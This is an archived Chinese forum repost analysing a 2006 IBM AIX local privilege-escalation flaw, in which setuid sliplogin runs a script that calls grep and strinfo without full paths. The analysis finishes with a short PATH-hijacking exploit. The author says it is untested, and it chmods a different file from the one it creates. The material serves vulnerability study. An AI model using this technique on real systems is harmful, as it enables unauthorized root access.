LoveUnix » 网络 & 安全 » IBM AIX slip.login漏洞分析(转)
让LU留住您的每

一天 让LU博客留住您的每一天
2006-11-23 15:59 sinister
IBM AIX slip.login漏洞分析(转)

转自: xfocus 论坛
作者:watercloud


漏洞信息:
[url=http://www.nsfocus.net/vulndb/9320][color=#436976]http://www.nsfocus.net/vulndb/9320[/color][/url]


IBM AIX slip.login工具本地权限提升漏洞

发布日期:2006-09-25
更新日期:2006-09-27

受影响系统:
IBM AIX 5.3L
IBM AIX 5.3
IBM AIX 5.2L
IBM AIX 5.2
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 20191

IBM AIX是一款商业性质的UNIX操作系统。

AIX的/etc/slip.login工具实现上存在漏洞,本地攻击者可以利用此漏洞以root用户权限执行任意指令。

<*来源:IBM (ncsupp@ca.ibm.com)
  
  链接:[url=http://secunia.com/advisories/22111/][color=#436976]http://secunia.com/advisories/22111/[/color][/url]
        [url=http://www-1.ibm.com/support/docview.wss?uid=isg1IY88566][color=#436976]http://www-1.ibm.com/support/docview.wss?uid=isg1IY88566[/color][/url]
        [url=http://www-1.ibm.com/support/docview.wss?uid=isg1IY88615][color=#436976]http://www-1.ibm.com/support/docview.wss?uid=isg1IY88615[/color][/url]
*>

建议:
--------------------------------------------------------------------------------
厂商补丁:

IBM
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

[url=ftp://aix.software.ibm.com/aix/efixes/security/sliplogin_ifix.tar.Z][color=#436976]ftp://aix.software.ibm.com/aix/efixes/security/sliplogin_ifix.tar.Z[/color][/url]


分析:
从以上内容可看出来的信息极少,但好歹有一个切入点:/etc/slip.login。


首先看看slip.login程序:


-
-bash-3.00$ cat /etc/slip.login
#!/usr/bin/sh -
# IBM_PROLOG_BEGIN_TAG
# This is an automatically generated prolog.
#
# bos530 src/bos/usr/sbin/sliplogin/slip.login 1.3
#
# Licensed Materials - Property of IBM
#
# (C) COPYRIGHT International Business Machines Corp. 1993,1994
# All Rights Reserved
#
# US Government Users Restricted Rights - Use, duplication or
# disclosure restricted by GSA ADP Schedule Contract with IBM Corp.
#
# IBM_PROLOG_END_TAG
# @(#)24        1.3  src/bos/usr/sbin/sliplogin/slip.login, cmdnet, bos530 4/26/94 08:35:44
#
# COMPONENT_NAME: CMDNET
#
# FUNCTIONS:
#
# ORIGINS: 26  27
#
# (C) COPYRIGHT International Business Machines Corp. 1993
# All Rights Reserved
# Licensed Materials - Property of IBM
#
# US Government Users Restricted Rights - Use, duplication or
# disclosure restricted by GSA ADP Schedule Contract with IBM Corp.
#
#       @(#)slip.login  5.1 (Berkeley) 7/1/90

#
# generic login file for a slip line.  sliplogin invokes this with
# the parameters:
#      1        2         3        4          5         6     7-n
#   slipunit ttyspeed loginname local-addr remote-addr mask opt-args
#
/usr/sbin/ifconfig sl$1 inet $4 $5 netmask $6 up > /dev/null 2>&1
strinfo -m | grep "\'slip\'" > /dev/null 2>&1 || \
                        strload -m /usr/lib/drivers/slip > /dev/null 2>&1
exit

现在问题很明白了,以上命令全是相对路径调用,直接修改PATH环境变量就能欺骗程序执行我们自己的grep等命令。

bash-3.00$ ls -l /etc/slip.login
-r-xr-xr-x   1 root     system         1285  8月27 2005   /etc/slip.login

但这个程序不是特权程序,那么既然他有漏洞,那一定是其他特权程序对他进行了调用,
随调用了他呢?


在/usr/sbin/下:
for f in * ;do strings $f |grep -q /etc/slip.login && echo $f ;done
简单遍历一下就找到了:

/usr/sbin/sliplogin

-bash-3.00$ ls -l sliplogin
-r-sr-xr-x   1 root     system        15388  9月16 2004   sliplogin
-bash-3.00$ strings sliplogin |grep slip.login
/etc/slip.login
/etc/slip.login
/etc/slip.login
/etc/slip.login
starting slip login for %s

几乎能确定就是sliplogin特权程序调用/etc/slip.login,从而导致了漏洞。

运行一下:
-bash-3.00$ /usr/sbin/sliplogin  host
Sliplogin 已调用。建立...
setsid: 文件描述符没有指向一个打开的文件。
-bash-3.00$ 试图锁定设备 /dev/pts/1 失败。

确定问题了,但离触发漏洞还有一段距离,

用ida pro反汇编sliplogin程序分析程序流程可以发现,有特定限制:
必须在本地控制台登陆/串口登陆/mode登陆的用户才能具有tty,才能通过tty检查(istty /ttyname/locktty)到达system("/etc/slip.login")流程。

由于我条件有限,没有能满足以上几点的条件就没有再测试下去了,但应该满足这几点够了.

利用就很简单了:
cat > /tmp/strinfo << EOF
#!/bin/sh
id > /tmp/id.log
EOF

chmod a+x /tmp/grep
export PATH=/tmp:$PATH
/usr/sbin/sliplogin host

cat /tmp/id.log

页: [1]


Powered by Discuz! Archiver 5.5.0  © 2001-2006 Comsenz Inc.